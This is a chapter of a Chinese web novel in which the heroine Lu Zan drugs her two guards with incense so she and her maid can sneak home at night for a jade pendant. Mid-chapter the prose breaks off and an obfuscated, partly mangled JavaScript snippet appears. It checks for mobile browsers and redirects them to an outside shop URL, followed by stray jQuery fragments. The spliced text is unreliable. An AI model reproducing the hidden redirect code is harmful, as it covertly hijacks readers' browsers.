17.暗杀
我娘留给我的遗物忘在家里了。”

    “什么遗物,怎么会忘了?”陆簪关切地问。

    “是一枚羊脂白玉的观音坠子,姑娘你也见过的,我娘临终前亲手挂在我脖子上的!”落葵努力压低声音,泪水滂沱,“我收拾了两个包袱,一个是我自己的细软,另一个是我攒的一点体己,想着刘妈妈年纪大了,留给她傍身的。谁知走得急,竟拿错了包袱,把留给刘妈妈的那个带出来了,装玉坠的那个反倒落在房里了!”

    她越说越急,只差跪下:“那是我娘唯一留下的东西了,姑娘,你让我回去取吧,就一会儿,我认得路。”

    陆簪看着她哭得通红的眼睛,心中那根紧绷的弦,仿佛被什么拨动了一下。

    其实,她自己何尝不想再看一眼家人?

    这个念头一旦滋生,便疯狂蔓延。

    她定了定神,低声道:“别哭了。我同你一起去。”

    陆簪已悄然移至窗边,将窗扇推开一条细缝,向外望去。

    那两个婢女依旧如门神般立在门外两侧,看似静立,实则耳听八方,只是推开不足指甲宽的小缝,小芽与小苗便几乎同时侧首,目光锐利地投向窗缝。

    陆簪心头一凛,面上却不动声色,对着窗外微微弯了弯唇角,随即轻轻合拢了窗扉。

    她退回落葵身边,耳语道:“此时夜深,谢公子的人定然不会放我们出门,我们悄悄去,悄悄回,莫要惊动她们。”

    “可要如何避开她们?” 落葵六神无主。

    陆簪未答,只走回床边,从青布包袱里摸出一个扁平的乌木小匣。

    打开匣盖,里面静静躺着一只镶嵌了红蓝绿三色宝石的银镯,几只药瓶,还有几支看似寻常的线香,陆簪心中暗忖片刻,取出银镯戴在腕上,又拣起一根迷香。

    落葵恍然大悟,自家姑娘医术高超,用香更是信手拈来。

    陆簪取灯走到门旁,示意落葵取出汗巾捂住口鼻,自己亦以袖掩面,将线香放在烛火上点燃。

    此香甚奇,燃时几乎无烟,亦无寻常香气,只一丝极淡的似檀非檀的气息,瞬间融入空气中。

    她将那点燃的线香插在门缝下方,只露短短一截香头在外,任那无色无味的气息悄然飘向门外。

    不过半盏茶的光景,门外传来两声重物软倒的闷响。

    陆簪又

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16870440|190756||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    静候片刻,侧耳细听,门外再无半点声息。

    她与落葵对视一眼,俱是屏住呼吸,轻轻拉开房门。

    小芽与小苗已瘫倒在门边廊下,双目紧闭,呼吸均匀绵长。

    两人不敢耽搁,闪身出屋,迅速将人拖入房中,随即悄无声息地穿过庭院,来到院门前,极缓极轻地将门闩拉开。

    “吱呀——” 一声微不可闻的轻响,在静夜中却显得惊心。

    两人心几乎跳出嗓子眼,僵立片刻,见厢房那边毫无动静,才敢侧身挤出,反手将门轻轻带拢。

    深夜的街道空无一人,只有更夫遥远模糊的梆子声。两人不敢走大路,只捡僻静的小巷穿行。走了约莫半个时辰,才遥遥望见自家宅院所在的街巷。

    然而,还未走近,陆簪便猛地停下了脚步,一把

本章未完,请点击下一页继续阅读>>